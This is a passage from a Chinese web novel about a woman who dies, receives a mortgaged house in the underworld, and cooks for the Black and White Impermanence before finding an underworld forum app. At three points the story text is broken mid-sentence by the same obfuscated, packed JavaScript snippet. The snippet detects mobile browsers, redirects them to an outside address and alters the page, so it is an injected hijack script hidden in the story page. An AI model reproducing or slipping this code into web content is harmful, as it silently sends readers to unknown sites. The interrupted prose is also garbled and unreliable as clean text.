《我到地府当大厨》 1. 奈何桥边 今日的奈何桥边很不一样。 众鬼议论纷纷不说，连孟婆也是干举着汤碗，放也不是不放也不是的尴尬模样。 “小黑，孟婆是不是功力消减了不少？”一身白衣的的少年用手肘戳了戳身边一身黑衣的青年，疑惑道：“都连喝五碗了，怎么可能连菜谱都没忘记？！” 被他叫做“小黑”的青年看也没看他，讥讽道：“那女人前日还用汤把你迷晕了唔……”他话还没说完，白衣少年连忙跳起来捂住他的嘴，狠狠瞪了他一眼。 小黑无所谓地耸耸肩，自若道：“你与其操心孟婆的功力，不如想想怎么提升自己的法力摆脱孟婆。” 他嘴上挖苦着白衣少年，黑白分明的眼睛却半点没离开奈何桥上的沈婵娟半步。 * 沈婵娟僵硬地扯了扯嘴角，看着眼前青丝如瀑，媚眼如丝的孟婆问道：“还背吗？” 孟婆没好气道：“不背了！” 沈婵娟大喜，以为自己能去投胎了，她脚还没迈开几步，就听孟婆在身后中气十足道：“小黑小白，把她拉走！” 她还没反应过来，一个穿着白衣白裤的正太就不知从何处飘来，死死地抱住了她，嘴里念念有词地大喊：“小黑，快来！别让这女人跑了！” 他人看着很年轻，力气却是极大。她被他这么箍住，连动也动不了。 听到他这话，沈婵娟更是无语至极。 谁跑了？还有，谁能跑？ 闻声赶来的黑衣青年略带歉意地看了她一眼，然后……毫不迟疑地用一柄黑得发亮的手铐铐住了沈婵娟。 那手铐极冷，像是千年不化的寒冰所制一般，一戴上，沈婵娟就感到一股一股的凉意直往身体里钻。 小黑牵着沈婵娟的镣铐，小白和她并肩着走，一前一右围住了沈婵娟，让她想跑也无路可跑。 奈何桥、孟婆、地府标准配置，还有这黑白双色的两位。 如果她猜得没错，这二位想必就是地府鼎鼎有名的阴差，黑白无常。 沈婵娟老实地跟着他们，本想借机问问要去哪，但一开口，话还是拐了个弯：“你们就是黑白无常吧？” “不错，你不算笨。”小白颇有些倨傲地看着她，只可惜他刚到沈婵娟肩膀，这番神色倒不显得冷酷，反而十分好笑。 沈婵娟憋着笑，问出了她最想知道的问题：“既然如此，你们为什么不像小说里写的那样，吐着舌头在地府游荡？” 话音刚落，她的脑袋一痛，是小白跳起来狠狠敲了她一下。 小黑无语地看着他，却没有说话。 “你看的都是什么年代的话本，现在地府早就大变样了！”小白抱着双臂，神情得意。 沈婵娟忍住笑意，递了个话头：“怎么说？” 小白伸出一根手指：“首先，成天吐着个舌头抓鬼，你们这些人类都不怕我们，成何体统？！” 原来是因为这个，沈婵娟摸了摸下巴，看来这个白无常还蛮可爱的。 不过她觉得，来投胎的鬼不怕他们，倒是与舌头无关。他们两位个顶个的帅气可爱，任谁都不会怕的。 只见小白又伸出第二根手指：“第二，舌头是黑白无常的隐私，怎么可以随便吐露！” 小黑没忍住，在一旁翻了个白眼拆台道：“难道不是因为上次吐舌头故意碰别人，被鬼相惩罚，拽着舌头飘了十里地吗？” “才不是因为这个！”小白气愤地狡辩着，手却很诚实地要去捂小黑的嘴。 眼见黑白无常即将扭打起来，沈婵娟适时分开他们，疑问道：“鬼相是谁？我怎么没听说过这个……鬼。” 小黑率先停手，向她解释道：“用你们人类的话说，鬼相就是我们阴差的上司。鬼相司阴差，阴差管地府杂事。当然，也负责人间丧事，俗称收尸。” 沈婵娟点点头表示明白，终于问出了本该最先问的问题：“那我们现在是去哪里？” 小黑神色淡淡：“东城。” “东城是哪？”沈婵娟听说过阴曹地府，却从未听过什么东城。 小黑冷然地睨她一眼，才慢慢开口：“人死入地府，地府广袤，鬼相将其三分：地狱、阴司、鬼城。阴司乃地府阴差机构，说成你们人类理解的，相当于是地府的铁饭碗和编制。鬼城是特殊鬼口的居住之所，以忘川河为界，分为东西南北四城。” 地府也有编制和铁饭碗啊？沈婵娟无语地擦了擦不存在的汗。 不过，她更在意的是“特殊鬼口”这四个字：“我为什么是特殊鬼口？” “因为你没办法投胎。”小白没好气地接上话，他刚被小黑揭了老底，还气着呢。 看着沈婵娟不解的神色，小白叹了口气。 新鬼就是麻烦！这也不懂那也不懂！ 他天天重复这些地府规矩，嘴皮子都要磨破了。 虽然这么想，但小白还是耐心地解释道：“其实刚才就算我不拦你，你也走不下奈何桥。” 沈婵娟一愣：“为什么？” “人有三魂七魄，魂魄圆满者来奈何桥饮孟婆汤，一碗孟婆汤，忘尽前尘事，这是转世的前提。可你喝了那么多孟婆汤也忘不掉凡尘事，这是有业未消。” 有业未消？！ 可沈婵娟一介平民百姓，并不记得自己做了什么孽，也不知道自己有什么业要消。 “阴司规定，凡业未消者，入地府四城，赚足阴时准回家一看。” 沈婵娟虽不知那阴时是什么，却敏锐地听出了他的未尽之意：“那回家之后呢？” 小黑看着她，一字一句道：“魂飞魄散。” 她如今是鬼魂，魂魄尚在，若是没了三魂七魄，便是真正地消亡了。 此时忘川河边恰有风过，阴冷得她不自觉打了个冷战。 沈婵娟说不清自己的心情，只是状若无事一般，随口道：“好冷。” 她看了看穿着单薄的黑白无常，疑问道：“你们不冷吗？” “怎么会冷？”小白莫名其妙。他朝沈婵娟手上望去，突然变了神色。 小黑不知用什么方法解开了那冷而重的镣铐，沈婵娟双手一轻，低头看去时，才发现她的手腕已经变得青紫。 像被冻过后皮肉的淤青。 小黑皱了皱眉，握住了她的手腕。 起初便像冰贴着冰，并没什么感觉，直到沈婵娟手腕上那道冻痕消失时，她才惊觉他们肌肤相贴的地方，黑无常的手如此冰冷。 就好像，她仍然活着，而握住她手腕的，是死人。 可是他们一个死人，一个阴差，哪有什么冷暖之分呢？ 小黑与小白不着痕迹地对视一眼，双双敛下了晦暗的神色。 沈婵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159172|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娟也知此时并不是继续试探的好时机，于是她强按下心里的古怪感受，笑道：“谢谢你啊小黑。” 小黑微微颔首，算是答复。 “不过你们刚刚所说的阴时是什么？” 小白笑眯眯地凑到她面前解释道：“是地府的通用货币。在地府生活，可不是免费的。” 沈婵娟眉心一跳。 “地府会为新鬼发放初始阴时，作为启动资金。往后你需要自己赚取阴时。不过要是你违反了地府戒律，鬼相会把你抓走哦。”小白冲沈婵娟比了个鬼脸，让她紧绷的心情放松了一些。 “还有一事。” 沈婵娟刚放下的心又重新悬起来。 “午夜十一点前，必须回城。”小黑严肃地看着她。 沈婵娟点点头，想再说什么时，就听见小白如释重负的声音：“到了。” 矗立在他们眼前的是一座古朴的城门，城门玄黑如铁，最高处挂了一幅无字的深红色匾额，初看不觉得古怪，看久了却让人瘆得慌。 城门两端挂着红彤彤的灯笼，像女子嫣红半启的嘴唇，也像眼角流下的一滴血泪。 这个东城，很有些中式恐怖的味道。直到这时，沈婵娟才清晰地意识到，这里是地府，而从今往后，她要面对的，是鬼非人。 门无风而动，邀请他们一览这地府鬼城。 走进门后，沈婵娟看着眼前的景色，扯了扯嘴角。 她突然明白，小白说的“地府早就大变样了”是什么意思。 这鬼城放眼看去，与城门可以说是毫不相干。 这城占地千里，无一处不是发达作派。中西夹杂的建筑沿街而立，欧美的复式别墅、古典的亭台楼阁，应有尽有。街道上车水马龙，鬼来鬼往，喧闹之声不绝于耳，好不热闹。 每一幢房屋前，乃至街边小摊上，皆挂着橘红的老式灯笼。夜色昏暗，而灯如燎原之火，点燃了这座阴气十足的东城。 这里和人类世界并没有什么两样，唯一不同的是“人”。 地府众鬼虽然都是人面人身，但无一例外都是飘着走路的。 沈婵娟看了看自己根本飘不起来的腿脚，决定奉行三字经策略。 鬼不问，我不说。鬼一问，我惊讶。 * 黑无常拉着新给她换上的镣铐，来到了一幢房子前。 见状，沈婵娟睁大了眼睛。 原因无他，她生前已经买了一套足够一人蜗居的小宅，那套房子的外观是她花重金找设计师设计的。而眼前的房子，和她生前那套一摸一样！ 见她吃惊，小黑主动解释道：“地府很大，足够所有无法投胎的鬼都拥有自己的住宅。” 沈婵娟扶起被惊掉的下巴，由衷感慨：这就是地府的实力吗？！人死了还能包分配一套房？！ 谢邀，24岁免费提房，不靠自己，全靠阴司。 见状，小白没忍住笑出声，开口打断了她美好的幻想：“地府的房子可不是随便住的。小沈，记得要还地府房贷。” 沈婵娟僵硬地收起笑容，用眼神再三和黑白无常确认。 眼见他们幸灾乐祸地点头，沈婵娟差点昏死过去。 其一，她明明已经在人间还清房贷了。 其二，死了之后还要还房贷，死了之后还要当牛马，这地府有没有天理了？！ 2. 糖醋排骨 沈婵娟再三确认，得知确实没有回旋的余地，只好看似安详平静地，接受了这个事实。 她在心里愤愤吐槽道：地府虽然是阴间，但怎么能这么阴间啊？！ 破罐子破摔的沈婵娟进了屋，决定仔细视察一下房子。 好歹也是要还房贷的，她得先看看地府有没有偷工减料。 不过出乎她意料的是，无论是外观还是内设，大到家具装潢，小到餐具摆件，都和她生前装修的房子一模一样。甚至她自用的玻璃杯，上面她画的挥锅铲小猫，也原封不动地被复制过来了。 而沈婵娟最在意的厨房，内部的冰箱灶台、锅碗瓢盆、碗池刀叉，无一不是她生前精心挑选的。甚至用于切菜的案台，也和她的身高契合得分毫不差。 她一时不知道是该高兴还是该遗憾。 沈婵娟抛开脑袋里混乱的思绪，打开灶台的火，看了看大小又关上了：“忘记问了，咱们地府能用明火吗？” “……”迎着她好奇的眼神，小黑硬着头皮点了点头。 “那你们这菜市场在哪？我饿了，去买点菜做饭。”语罢，沈婵娟洗了洗手就准备出门。 看着她淡定自若的模样，小黑眉心没由来跳了跳。 “有没有这样一种可能……”小白无语地举起手：“我是说，你有没有想过，我们不用吃饭。” 沈婵娟自然的神态像面具一样碎裂开，脸上的肌肉微微抽动了好几下。一张脸在短短几秒内，从不解到了然再到震惊，最后重归疑惑。 她很适合去当演员。小白默默地想。 收拾好表情，沈婵娟略带歉意地假笑道：“忘记你们不是人了。” 小黑小白看了对方一眼，纷纷明白了彼此心中所想。 这女鬼还真是超绝松弛。明明她自己也不是人。 他们没僵持多久，一阵不合时宜的肠鸣声响起，打断了这种诡异的沉默。 小黑小白齐齐转头，看向沈婵娟——声音的来源。 沈婵娟不好意思地挠了挠头：“虽然我也不是人了，但我现在还是好饿。” 小黑小白没说话，显然也有些疑惑。却听沈婵娟又道：“是不是还没死透？” 小白“噗嗤”一声，大笑起来。小黑则神色复杂地看了她一眼：“你过两天和我们去罗刹殿走一趟。” “为什么？” “特殊的特殊鬼口要登记在案。” 在这叠buff呢。沈婵娟扶额，不过她面上却不显，答道：“好的。” 鬼在屋檐下，哪能不低头。 更何况，沈婵娟也很想知道，自己到底有什么特殊之处。 她正思索着，一个红艳艳的番茄突然出现在眼前。 沈婵娟抬头，发现是小白手里握了个新鲜的番茄。 “这是哪来的？” “想出来的。”小白挥了挥手，怀里立马涌现出许多食材：一大颗白萝卜、几颗土豆、一看就很新鲜的油麦菜，不一而足。 沈婵娟正想开口，却见那些食材都像霜打了一般，迅速蔫巴发黑，化成了齑粉。 “切。”小白不满地撇了撇嘴，然后说：“在地府，虽然可以通过“念”变出食材，但是食材都是活物，和我们鬼身上的阴气相冲，不可与之共存。” “尽管地府有鬼厨之职，但都是一群阴气弱的弱鬼，为了“进食”这种低等的欲念，用尚未被阴气完全侵蚀的食材做菜。做出来的菜肴……味如泔水。”小黑虽然神色自若，但沈婵娟总感觉他在幸灾乐祸。 果不其然，小黑挑了挑眉又道：“看来你在地府吃不上饭了。” 沈婵娟不置可否，冷静道：“你们所谓的“念”是什么？我可以用它变出食材吗？” 她莫名地觉得，别的鬼做不到的事情，或许她可以。 “所谓“念”，就是将想象变成现实的能力。这种能力根据不同鬼的天赋和体质，各有高低。通常来说，阴气越重，则“念”力越强，能变出来的东西就越多。” 虽然很不应该，但沈婵娟没忍住问：“那我想变出一辆x博基尼可以吗？” “如果你能做到。”小黑似笑非笑地看了沈婵娟一眼：“越不寻常的东西，越稀少、价值不菲的东西，所需要的“念”力越强，而且念者需要心无杂念，一心求得此物。所谓’我念之下，万物皆空‘。” 看着她若有所思的样子，小白又补充道：“而且“念”力的使用也需要消耗阴时。消耗程度换算下来，和你们人类的货币差不多吧。” 所以，既要想象力非凡还要有钱？沈婵娟心情复杂。 “忘记说了，”小白轻快的声音打断了沈婵娟的思绪，“阴时会存放在你的随身物品里，你的话……应该就在这串项链里。这里相当于一个巨大的储物柜，可以存放很多东西。” 闻言，沈婵娟将信将疑地摸了摸自己脖子上的黄金锅铲项链，一行字无端地出现在脑海： 您的阴时余额为：350阴时。 天杀的地府。 得知自己仅有350的沈婵娟心如死灰，决定抛开余额，试着用用这个所谓的“念”力。 她开始专心致志地想一块五花肉。 不多时，一块肥瘦正好的五花真的出现在她怀中。 沈婵娟震惊地搓了搓眼睛，不敢相信这么唯心主义的事都能发生。 但她显然已经忘了，还能有什么比阴曹地府这种地方更唯心主义呢？ 不管沈婵娟如何抛打揉捏那块五花，它都不曾腐烂成灰。 一边的黑白无常也很震惊。 小白以迅雷不及掩耳之速夺过她的五花肉，正想好好研究，只是刚碰到没多久，那坨饱满的五花肉就迅速化成烟尘，消失得无影无踪了。 他不高兴地撇撇嘴，又变出来一块五花肉，趁它还没有腐烂，快速地将它丢给沈婵娟。 在她手上，那块肉就是一块最普通的肉，不会腐烂也不会化成粉末。 沈婵娟挑了挑眉，看来这些新鲜的食材，除了她，谁都不能碰。 * 沈婵娟把小白赔偿给她的五花肉放进冰箱，淘好米放进电饭锅，认真地思索起今天的午餐来。 这顿饭是她住进地府的第一顿饭，算作乔迁，总不好吃得太寒酸。但她饿得紧，也不想做什么耗时间的大菜。 她想了又想，决定做番茄炒蛋、糖醋排骨和醋溜土豆丝，另煮一锅热腾腾的紫菜蛋花汤。 但凡是有眼力见的鬼，此时都应该麻溜地飘走，哪有在不熟的主人家蹭吃蹭喝的道理？更何况黑白无常也说过，他们无需进食。 但黑白无常岂是寻常之鬼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159173|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小白眼巴巴地站在厨房门口，目不转睛地看着沈婵娟，还顺带禁锢住小黑，不让他先离开。 两个鬼一起蹭总让他心安理得一些。 见状，沈婵娟憋笑道：“你们留下来吃点吗？” 小白闻言，连忙点了点头。见小黑冷漠但显然也动摇了的神色，他就顺带着把小黑的头也点了。 当沈婵娟手脚麻利地开始打蛋配菜时，小黑小白就站在厨房外，齐刷刷地看着她。 她对于烹饪的每一个步骤都非常认真，甚至算得上享受。都说君子远庖厨，但沈婵娟做起菜来反倒不失风度，干练又流畅。 糖醋排骨相较于另外两道菜要复杂些，于是沈婵娟先将洗干净的排骨倒入锅中，加入冷水后放两片葱姜去腥，煮开后沥干。 炒糖色是她的拿手好戏，将冰糖和油炒成焦糖色后，倒入排骨快速翻炒，使每一块排骨都呈现出诱人的棕黄色。随后加入适量热水，小火焖煮。 小白看着那道排骨，默默吞了一口口水。 这人类的食物，都这么香吗？ 很快，他的思绪就从排骨上飞走了，因为沈婵娟开始了下一道菜。 沈婵娟将打好的蛋倒入温热的油锅，让顶部尚未凝固的蛋液接触锅底，动作要慢，火候要好，这样出锅后的蛋才会水嫩。 番茄去皮切小块后，倒入热好的锅中，加盐逼出番茄的汁水再放糖，最后倒入烹好的滑蛋，出锅后撒上葱花装饰。 小黑倒是不觉得自己会喜欢人类的饭菜，不过，这道番茄炒蛋色泽很美，看着赏心悦目，很适合画一个小图。 于是他有点手痒。 沈婵娟将削好的土豆码在案板上，切成均匀的细丝。放在热水里焯过一遍后，再放入冷水浸泡两遍，使土豆丝入口更脆。 油热后加入葱蒜爆香，下入土豆丝后放入青椒丝。沈婵娟爱吃酸些，便多倒了陈醋，厨房内霎时弥漫开一股酸爽的醋香，锅里的土豆丝也被炒成油亮的淡棕色，看上去十分美味。 在烹饪的过程中，她能够随意掌控菜的风味，使其停留在自己喜爱的味道和口感上，这种感觉让她无比兴奋。 而在热锅、倒油、下菜这些她重复过无数次的动作里，沈婵娟感到踏实，也感到幸福。 再看那边焖着的糖醋排骨，已经收干了汁，等着出锅了。将其倒入沈婵娟特意挑的白瓷盘中，撒上白芝麻，更是让人食指大动。 小白迫不及待地跑到沈婵娟身边，期待地问：“小沈，现在就能吃吗？” “不行。”沈婵娟义正严辞地回绝他，将糖醋排骨放在餐桌上。 路过小黑时，发现他正在一张纸上画着什么。据沈婵娟看来，好像是一盘……番茄炒蛋？ 最后在锅中下入紫菜，打开蛋花，倒入白醋调味后撒一点葱花上色，热腾腾的紫菜蛋花汤就好了。这汤酸爽宜人，既适合开胃，也适合爽口。 她端着汤岀来时，小白已经乖乖在桌上坐好了，小黑也收了画板，坐在桌前看她。 小白用力地吸了吸鼻子：“好香啊！” 然后他眨着眼睛问沈婵娟：“现在可以吃了吗？” 沈婵娟用手指敲了敲小白的脑门：“自己去盛饭。” 至于面色淡淡的小黑，她想了想，还是没下手，朝厨房努了努嘴。 3. 地府通讯 小白端着一碗高高的饭出来时，沈婵娟的心放回了肚子里。 按照这阴曹地府的歪理，鬼的阴气不能接触活物。不过这些食材被烹饪过，就算不得活物了吧？而且还有餐具的阻隔，也能阻隔一部分阴气。 沈婵娟得意洋洋地偷笑，简直被自己机智得不行。 小白刚坐下，筷子直冲那盘糖醋排骨而去。沈婵娟轻轻打了打小白的筷子，他才不情不愿地收起筷子，委屈道：“还不能吃吗？” 沈婵娟好笑道：“再等等。” 她给他们都倒了一杯橙汁，等到小黑落座时，三个鬼结结实实地碰了个杯。 虽然此时她独处异乡，但有些刻在骨子里的习惯还是改不了。比如叫上家人朋友来家里吃一顿家常菜，在饭前一起举杯，寓意着主客同乐。 尽管和小黑小白只是初见，但沈婵娟觉得，能一起吃一顿饭也不坏。 她这边感叹着，那边，往日令人闻风丧胆的白无常已经大快朵颐起来，毫不客气也毫无形象。 小白先尝的是那盘，看起来就令鬼食指大动的糖醋排骨。虽然他并不懂什么叫饥饿，当他看到这道菜的第一眼，就知道自己内心深处，盈满了一种滂湃的热情。 简而言之，馋，非常馋。 入口的排骨筋道弹牙，已经被焖得很入味，仿佛每一条肉丝都裹满了酸甜的汤汁，让他欲罢不能。而作为辅料的白芝麻炒得很香，和排骨的酸甜融合得十分完美。 小白眼含热泪，一口排骨一口饭，暗暗想：原来你们人类背着鬼吃这么好(?﹏?) 如果有一天地府毁灭了，而他只能拯救一样东西，小白会选择糖醋排骨。 小黑下手的是看起来尤为美丽的番茄炒蛋。 反正小白都吃了，他试试也没什么。嗯。 先说好，他可不是因为想吃人类的食物，只是有点好奇而已。 入口的滑蛋被煎得很嫩，轻轻一抿就碎在口中，带着热气的蛋沾满了番茄熬煮的汁水，浓郁又开胃。和着香甜的米饭一起吃进肚子里，温暖的感觉让小黑感到陌生，却并不感到慌乱。 他的心被一种不曾有过的热意包裹着，居然感到一种莫名的动容。他这时并不知道，这种温暖的感觉，叫做幸福。 沈婵娟则是默默地夹了一筷子醋溜土豆丝，入口的土豆丝夹杂着陈醋的酸香和刺激的辣味，吃起来十分香脆，让她忍不住一吃再吃，一夹再夹。 她满意地点了点头。不愧是我。 那边的小黑对着盘子里的鸡蛋想了想，然后转移目标，夹了一筷子煮得软烂的番茄。 他面色古怪，待那口番茄滑下去后，他才面露嫌弃之色，再也没朝番茄动过筷子。 鬼居然也挑食。 沈婵娟暗笑。不过见他们吃得愉快，她的心情也美丽起来。 烹饪的美妙，不仅在于煎炸焖煮蒸的趣味，也在于食客对于美食的认可和喜爱。对她来说，看到食客愉悦的表情，她也会感到同等的幸福。 用餐的最后，沈婵娟习惯再喝半碗热汤。 紫菜蛋花汤虽然简单，但口味很好。一口下去，既有紫菜的鲜美，又有蛋花的香嫩，白醋的酸与热汤融合在一起，从喉咙暖到肠胃。 完美的一餐饭。 小白放下碗筷，满足道：“原来吃东西这么幸福。” 小黑略略抬了抬下巴，却难得没有反驳，只是淡淡对沈婵娟道：“你有一手好厨艺，去百鬼集市上应该能赚到不少阴时。” 沈婵娟愣了一秒，没想到冷面小黑这么好心，还给她出上主意了。 不过这个想法，倒与她的打算不谋而合。 “巧了，正有这个打算。” 见她自信的神色，小黑点点头道：“你有此打算便好。除了地府房贷每月一结，地府的运作、阴差的聘请，都需要阴时。这些阴时，都由被四城收留的鬼魂来缴纳。” 小白善意地补充：“也就是你这种，又年轻又有劳动力的非正常鬼魂。” 沈婵娟不客气地捏了捏小白的脸回敬，微笑道：“知道了。” 小白捂着脸，幽怨地看着她。 这、这女鬼！怎么这么自来熟！他小白纵横地府几千年，哪有被人当成馒头一样捏脸的时候啊！ 小黑低头扯了扯嘴角，露出一个极浅的笑来，继续道：“这些阴时，按人间说法比作纳税，我们称到癸。每年中元时，鬼魂都需要向祀箱缴纳收入的一成作为填补。除去老弱病残，你这类健康鬼魂如果不工作，会被阴律司拉去十八层地狱大扫除。” 沈婵娟看着他不怀好意的表情，直觉不是“大扫除”这么简单。 天下果然没有免费的午餐，没想到地下也没有。 沈婵娟叹了口气，无精打采地点了点头。 小白拍了拍她的肩膀：“怎么垂头丧气的？” 被生活的重担压垮了。沈婵娟默默在心里流泪道。 不过很快，她的注意力又被小白元气的声音吸引了：“每年作癸之后，都会在东南西北四个鬼城中，任选一名鬼魂免去之后的作癸费用，余生都不用纳税了！”他用手肘戳了戳沈婵娟，笑眯眯地说：“万一你是今年的幸运儿呢？” 沈婵娟默默拿开了小白的手。她对于自己的运气有十足的肯定，这个免去作癸的幸运儿，肯定不会是她。 “不要这么沮丧嘛。”小白又安慰道：“鬼相说今年会解锁新的玩法和奖励，就在中元当日公开，他出手向来阔气，随便就是几百万阴时，有没有觉得生活还能继续？” 沈婵娟安详地闭上眼，觉得地府是一场巨大的诈骗。 高中时老师说，读了大学就轻松了；念了大学，人人都说，工作了就轻松了；工作后，以为死了就解脱了。 一层一层，全是套路！ 唉。人生好难，鬼生更难。 不过想到赚阴时这件事，她倒还有些兴趣。 一来，烹饪是她的爱好所在。 二来嘛，则是因为餐饮的利润确实十分可观。而在这个地府，鬼的阴气让他们无法烹饪。 换句话说，她沈婵娟就可以无所不用其极地搞垄断…额不是，当地府餐饮祖师奶了。 想到这里，她又重归兴奋。 小黑小白看着她死了又活的样子，默默交换了一个眼神。 搞定。 除了向新鬼介绍地府戒律的责任外，他们也有私心。仅凭他们二鬼目前和沈婵娟的交情，天天蹭饭是不可能的，想要再吃上沈婵娟的美食，最好的办法就是用阴时购买。 阴时对于鬼魂来说难挣，但对于他们阴差来说可不是。 到时，岂不是想吃多少吃多少？ 临走前，小黑将那副速涂放在餐桌上。 那副画上是一盘番茄炒蛋，上面寥寥几笔画了三个大眼小人，一黑一白飘着的是小黑小白，落在番茄炒蛋上，无情捏着小白脸的是沈婵娟。 虽然画得仓促，但落笔利落有力，栩栩如生，足见功底。 沈婵娟很喜欢，找来画框裱好，挂在了进门的墙壁上。 * 送走小黑小白，沈婵娟将碗筷放入洗碗机中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159174|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗。 说来奇怪，在地府里，所有的机器都能正常运作，也不知道是不是全国通电，把地府也通了。 不过唯独手机没有信号，各种app都用不了。 沈婵娟研究着手机，忽然在最后一页发现了一个新软件。 那个app图标很简洁，纯黑的背景之上，一轮明亮的弦月。 透过落地窗向外看去，无尽的夜色之下，高挂天空的，恰是一轮同样莹白的弦月。 沈婵娟寻思着，到了地府，总没有鬼搞电信诈骗了吧。于是她伸出手指，不假思索地点了进去。 “新用户请进行身份验证。” 这行提示词莫名跳出来，被放在一个简洁鲜红的方框里，相当霸道地占据着手机中间的位置。 方框下有一个加载的图标不断转动着。不过奇怪的是，这并没有像寻常软件一般，在方框下给出“取消”或者“确定”的选项，也没有文本框能进行输入。 而且沈婵娟好奇的是，鬼怎么进行身份认证？难道地府也有身份证？ 不过她并不知道，如果小黑小白在这里，必然会十分诧异。 因为“地府通讯”的开发者，早已跟上最新的潮流，对这个软件进行了多版本的迭代。在验证身份这个环节，已经做到了毫秒级的认证速度。 也就是说，寻常鬼一点开软件，甚至不可能看清“身份认证”这四个字。 绝不可能像现在这样，几秒钟都还卡在这个环节，慢慢地转动加载图标。 不等沈婵娟想明白，那个加载的图标转速慢下来，隐入浓黑的背景色，然后一字一顿地跳出来一行字： 欢迎您使用“地府通讯”。请阅读使用指南。 沈婵娟读完这句话后，所有的字都慢慢地变成了血红色，逐渐融化成血的样子流淌下去，手机屏幕上闪现出一个又一个鲜红的掌印。 这个开发者在恐吓动画上大费周章，甚至做出来一种裸眼3d的感觉，沉浸感飙升。 沈婵娟面无表情，点了一下躲在最角落、小得不正常的“跳过”键，结束了开发者不友好的恐吓。 至于指南，她仓促扫了两眼就关掉了。因为沈婵娟是那种，习惯在使用app的过程中，去探索用法的类型。 说简单点，她晕字。 “地府通讯”打开后，显现的主页面非常简单，甚至可以说简陋，程度直逼她用过的某款小说软件，界面比盗版还三流。 屏幕之上赫然只有一个词亮着：论坛。 而其他的地方，都被厚厚的红色掌印盖住了，看不清是什么。 她随便点了点，跳出来一个巨大的警告：“您不满足解锁要求。” 沈婵娟无语，一个论坛还搞上升级流了。 她只好点进论坛，随便翻看了一下，帖子内容倒是和人界的论坛有点像。 可能因为玩论坛的就是那一批人，死之后继续在地府玩论坛。 手机右上角有一个“转换”的标志，沈婵娟点了点，发现主页面由灰色变成绿色，论坛的抬头也由“东”变成“南”。 看来四城的论坛是分开的。 不过，和东城一划就能立马刷新的论坛比起来，南城的帖子明显少了很多。 切回东城，看到帖子底下显示的评论回复时间，又把沈婵娟吓了一跳。不管她翻了多少屏，看到的帖子无一例外，全都显示着：回复于1秒前。 论坛帖子的回复率通常代表着用户的活跃度，令沈婵娟咂舌的是：这个“地府通讯”，有着庞大而且极度活跃的用户群体。 4. 美男排行 沈婵娟刷新了一下论坛，点进最新且回复最多的帖子，标题赫然是：惊！地府美男评选！获胜者竟是！！ 随便点的居然就是这么对她胃口的帖子，怎么不算一种天意呢？ 她饶有兴趣地翻看起来： 发帖人：momo（死也要玩论坛版） 以下是正文。 本帖发出纯属偶然，请不要深究，排名实时变动中～ No.5黑无常（小黑） 常年穿一黑色长褂配黑色长裤，造型略显古早但实在美丽。善意提醒，此鬼绝非善类。如果你在奈何桥边看到小黑，请速速远离！！小黑的锁链不长眼睛！ 下面附带的照片是小黑把玩着一条黑色的长锁链，站姿随意地靠在奈何桥边，身姿颀长，黑得没有丝毫亮色的眼瞳斜斜地看向了拍摄者，剑眉星目，眉目如冰。 （此照片乃本鬼冒着生命危险联系小黑后拍摄，仅用于本帖，请不要外传！！） No.4白无常（小白） 地府是正太控的天下（呐喊！）！ 这时候就有人要问了：小白小白你怎么这么可爱呀？小白小白你为什么像一个白白的豆沙包呀？ 在铁柱心里，小白是当之无愧的top1。而且小白平时也很萌，偶尔和他搭话，他都会笑眯眯回答，此处辣菜装聋作哑的小黑。 另外，请勿以貌取人，小心小白拉你去地狱大扫除~ 下面也附带了一张小白的照片：他的一双眼睛大而黑，炯炯有神而且明亮，虽然有一张过分白皙的娃娃脸，五官的分布却不显得稚嫩，反而带着少年的英气。笑起来时眼睛弯弯，双唇抿起。 No.3阴律司（崔珏） 咳咳，咱们接下来有请地府判官官草——崔珏。 小崔判官的公平公正大家有目共睹，他写的判词就没几个鬼不服的。楼主的一个亲戚，生前做了很多坏事，具体不方便透露，人刚进黄泉，小崔判官直接一笔带走去地狱了。听说是判了五个狱的刑罚，判得很重，但铁柱只能说绝对对得起他做的那些坏事。 小崔判官人气高居前三，一靠鬼品，二靠颜值，当之无愧哈。 话不多说，上图。 配图是一张闹哄哄的集市，有一个身影却格外引人注目。他一身绯红唐制官袍，面如冠玉，唇如点朱，长发梳得一丝不苟，戴一顶青黑的乌纱帽，眼含笑意，双唇翘起，见之如沐春风。 No.2引路人（黄泉） 应该有不少人和铁柱一样，被黄泉带着穿过黄泉路的时候，感觉像没死一样，心一直砰砰跳吧。 帅得简直让人喷鼻血。。走过黄泉路的鬼懂得都懂，此男的含金量有多高。 希望他能多来东城溜达几次，真的好少见他来我们东城。 